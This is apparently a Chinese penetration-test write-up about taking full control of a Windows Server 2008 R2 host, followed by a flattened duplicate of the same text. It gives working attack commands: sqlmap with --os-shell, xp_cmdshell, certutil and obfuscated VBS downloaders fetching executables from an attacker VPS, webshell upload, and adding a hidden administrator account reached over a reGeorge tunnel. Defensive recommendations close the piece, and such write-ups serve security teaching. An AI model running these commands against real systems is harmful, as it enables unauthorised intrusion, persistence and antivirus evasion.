记一次简单的Win Server渗透
字数 1137 2025-08-26 22:11:45

Windows Server 渗透测试实战教学文档

0x00 目标环境分析

  • 操作系统: Windows Server 2008 R2
  • Web服务器: IIS 7.5
  • 应用框架: ASP.NET 2.0.50727
  • 开放端口:
    • 1433 (SQL Server)
    • 135, 445, 3389 (被防火墙过滤)

0x01 初始信息收集

  1. 端口扫描结果分析:

    • 1433端口开放(MSSQL服务)
    • 3389(RDP)、135、445端口被防火墙过滤
    • 初步判断无法直接通过RDP或SMB协议进行攻击
  2. Web应用分析:

    • 系统为预约系统
    • 前端验证存在但可绕过
    • 后台使用统一查询方式(参数化或ORM)

0x02 SQL注入漏洞利用

漏洞发现

  • SELECT语句参数点都做了防护
  • UPDATE/INSERT语句存在漏洞(邮箱修改处)
  • 漏洞类型: Time-based盲注

绕过前端验证

  • 简单修改请求或禁用JS即可绕过邮箱格式验证

利用工具

sqlmap -u "目标URL" --data="参数" --level=3 --risk=3 --technique=T --dbms=mssql --os-shell

权限确认

  • 确认当前SQL用户为sa(DBA权限)
  • 系统权限为SYSTEM(最高权限)

0x03 命令执行与回显问题

xp_cmdshell使用

EXEC master..xp_cmdshell '命令'

回显问题解决

  • 时间盲注回显慢(5-10分钟/命令)
  • 解决方案:
    1. 获取WebShell
    2. 通过1433端口直接连接

文件下载尝试

  1. certutil方法:
certutil -urlcache -split "http://VPS/1.exe"
  1. VBS方法:
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> d.vbs
cscript d.vbs http://VPS/1.exe C:\\Windows\\temp\\1.exe
  1. 结果分析:
    • 文本文件可下载
    • 可执行文件被拦截(杀软动态行为检测)

0x04 Web目录定位与WebShell上传

盘符确认

wmic logicaldisk where DriveType=3 get DeviceID

特征文件搜索

for /r C:\ %i in (特征文件名*) do @echo %i

WebShell写入

  1. 确认可写目录
  2. 写入ASP/ASPX WebShell

0x05 权限提升与横向移动

管理员密码破解

  • 发现80字节加密字符串
  • 无法直接解密
  • 解决方案: 将普通用户加密密码插入admin表

RDP连接准备

  1. 添加用户:
net user iv4n$ xxxxxxx /add
net localgroup administrators iv4n$ /add
  1. 防火墙绕过:
    • 使用socks代理转发
    • 工具: reGeorge

连接方法

proxychains rdesktop 目标IP

0x06 防御措施建议

  1. SQL注入防护:

    • 所有SQL查询使用参数化
    • 避免动态拼接SQL
  2. 权限控制:

    • 避免使用sa账户运行应用
    • 最小权限原则
  3. 文件上传防护:

    • 严格限制上传文件类型
    • 杀软部署
  4. 系统加固:

    • 关闭不必要服务
    • 防火墙规则优化
    • 定期更新补丁

0x07 工具清单

  1. 扫描工具: Nmap
  2. SQL注入: SQLMap
  3. WebShell管理: AntSword
  4. 代理工具: reGeorge
  5. RDP连接: rdesktop + proxychains

0x08 攻击流程图

端口扫描 → 发现1433 → SQL注入 → xp_cmdshell → SYSTEM权限
    ↓
Web目录定位 → WebShell上传 → 配置文件获取
    ↓
管理员密码篡改 → 后台登录
    ↓
添加用户 → RDP连接(通过代理)

0x09 总结

本案例展示了从SQL注入到完全控制Windows服务器的完整过程,重点在于:

  1. 发现非常规注入点(UPDATE/INSERT)
  2. 权限维持与回显问题的解决
  3. 内网穿透技术的应用
  4. 权限提升的多种方法
Windows Server 渗透测试实战教学文档 0x00 目标环境分析 操作系统: Windows Server 2008 R2 Web服务器: IIS 7.5 应用框架: ASP.NET 2.0.50727 开放端口: 1433 (SQL Server) 135, 445, 3389 (被防火墙过滤) 0x01 初始信息收集 端口扫描结果分析 : 1433端口开放(MSSQL服务) 3389(RDP)、135、445端口被防火墙过滤 初步判断无法直接通过RDP或SMB协议进行攻击 Web应用分析 : 系统为预约系统 前端验证存在但可绕过 后台使用统一查询方式(参数化或ORM) 0x02 SQL注入漏洞利用 漏洞发现 SELECT语句参数点都做了防护 UPDATE/INSERT语句存在漏洞(邮箱修改处) 漏洞类型: Time-based盲注 绕过前端验证 简单修改请求或禁用JS即可绕过邮箱格式验证 利用工具 权限确认 确认当前SQL用户为sa(DBA权限) 系统权限为SYSTEM(最高权限) 0x03 命令执行与回显问题 xp_ cmdshell使用 回显问题解决 时间盲注回显慢(5-10分钟/命令) 解决方案: 获取WebShell 通过1433端口直接连接 文件下载尝试 certutil方法 : VBS方法 : 结果分析 : 文本文件可下载 可执行文件被拦截(杀软动态行为检测) 0x04 Web目录定位与WebShell上传 盘符确认 特征文件搜索 WebShell写入 确认可写目录 写入ASP/ASPX WebShell 0x05 权限提升与横向移动 管理员密码破解 发现80字节加密字符串 无法直接解密 解决方案: 将普通用户加密密码插入admin表 RDP连接准备 添加用户: 防火墙绕过: 使用socks代理转发 工具: reGeorge 连接方法 0x06 防御措施建议 SQL注入防护 : 所有SQL查询使用参数化 避免动态拼接SQL 权限控制 : 避免使用sa账户运行应用 最小权限原则 文件上传防护 : 严格限制上传文件类型 杀软部署 系统加固 : 关闭不必要服务 防火墙规则优化 定期更新补丁 0x07 工具清单 扫描工具: Nmap SQL注入: SQLMap WebShell管理: AntSword 代理工具: reGeorge RDP连接: rdesktop + proxychains 0x08 攻击流程图 0x09 总结 本案例展示了从SQL注入到完全控制Windows服务器的完整过程,重点在于: 发现非常规注入点(UPDATE/INSERT) 权限维持与回显问题的解决 内网穿透技术的应用 权限提升的多种方法